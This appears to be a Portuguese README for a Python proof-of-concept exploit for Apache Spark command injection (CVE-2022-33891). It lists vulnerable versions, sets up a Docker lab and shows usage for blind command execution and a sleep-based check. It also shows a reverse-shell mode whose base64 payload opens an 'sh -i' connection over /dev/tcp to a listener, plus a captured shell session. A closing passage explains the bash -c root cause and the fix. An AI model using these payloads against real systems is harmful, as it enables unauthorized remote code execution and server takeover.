
Exploit de prova de conceito em Python para injeção de comando no Shell do Apache Spark (CVE-2022-33891) com injeção cega no sistema operacional, detecção baseada em sleep e capacidades de reverse shell.
Vulnerabilidade de Injeção de Comando no Shell do Apache Spark
Um POC em Python para explorar a vulnerabilidade de Injeção de Comando no Shell do Apache Spark. Vi alguns outros POCs por aí, mas pareciam muito suspeitos. Este é limpo e simples.
Não descobri este exploit/vulnerabilidade. Só queria criar um POC seguro para a comunidade ^.^
Apache Spark versões 3.0.3 e anteriores, versões 3.1.1 a 3.1.2, e versões 3.2.0 a 3.2.1
http://localhost:8080/?doAs=`[command injection here]`
Exemplo
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`
... dorme por 10 segundos
Você precisa de uma versão vulnerável do Spark que tenha uma única opção de configuração alterada.
$ pip3 install -r requirements.txtspark/.docker-compose.yml fornecido no diretório spark/ e execute docker-compose up. Deixe o container iniciar.sudo docker exec -it spark_spark_1 /bin/bashecho "spark.acls.enable true" >> conf/spark-defaults.confdocker-compose upusage: poc.py [-h] -u URL -p PORT [--revshell] [-lh LISTENINGHOST] [-lp LISTENINGPORT] [--check]
CVE-2022-33891 Python POC Exploit Script
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL URL to exploit.
-p PORT, --port PORT Exploit target's port.
--revshell Reverse Shell option.
-lh LISTENINGHOST, --listeninghost LISTENINGHOST
Your listening host IP address.
-lp LISTENINGPORT, --listeningport LISTENINGPORT
Your listening host port.
--check Checks if the target is exploitable with a sleep test
Verifique se o alvo é vulnerável:
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --check
[*] Attempting to connect to site...
[*] Performing sleep test of 10 seconds...
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
[+] Sleep was 10 seconds! This target is probably vulnerable!
Execute comandos em um loop de prompt de comando:
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080
[*] "Interactive" mode!
[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.
> sleep 5
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
>
Execute uma shell reversa:
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 192.168.138.131 -lp 1337
[*] Reverse shell mode.
[*] Set up your listener by entering the following:
nc -nvlp 1337
[!] When your listener is set up, press enter!
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMzguMTMxLzEzMzcgMD4mMQ== | base64 -d | bash`
...[in the other terminal]...
husky@dev-kde:~/spark$ nc -nvlp 1337
Listening on 0.0.0.0 1337
Connection received on 172.21.0.2 55278
sh: 0: can't access tty; job control turned off
$ whoami
spark
A injeção de comando ocorre porque o Spark verifica a associação de grupo do usuário passado no parâmetro ?doAs usando um comando Linux bruto.
Passar id como usuário produz este erro no traceback:
spark_1 | 22/07/20 11:55:58 INFO Utils: id: 'id': no such user
spark_1 | 22/07/20 11:55:58 ERROR Utils: Process List(bash, -c, id -Gn 'id') exited with code 1:
spark_1 | 22/07/20 11:55:58 ERROR Utils: Error getting groups for user='id'
spark_1 | 22/07/20 11:55:58 ERROR Utils: Process List(bash, -c, id -Gn 'id') exited with code 1
Aqui, o Java decidiu que seria melhor passar o comando id para bash -c para verificar a associação de grupo de um usuário especificado. O problema é que isso também permite injeção de comando.
Versões corrigidas parametrizam essa chamada para ter um caminho completo para o comando /bin/id em vez de bash -c id
Vale notar que nada é refletido de volta na página durante a execução do comando, portanto, esta é uma injeção cega de SO. Seus comandos são executados, mas não haverá indicação se funcionaram ou não, nem mesmo se o programa que você está executando está no alvo. Por exemplo, o container que é inicializado com o arquivo docker-compose.yml neste repositório não tem ping, então verificar injeção de comando via pingback não funcionará. Mas você não saberá disso, então ficará se perguntando se funcionou ou não.
O teste de sleep é uma aposta segura ^.^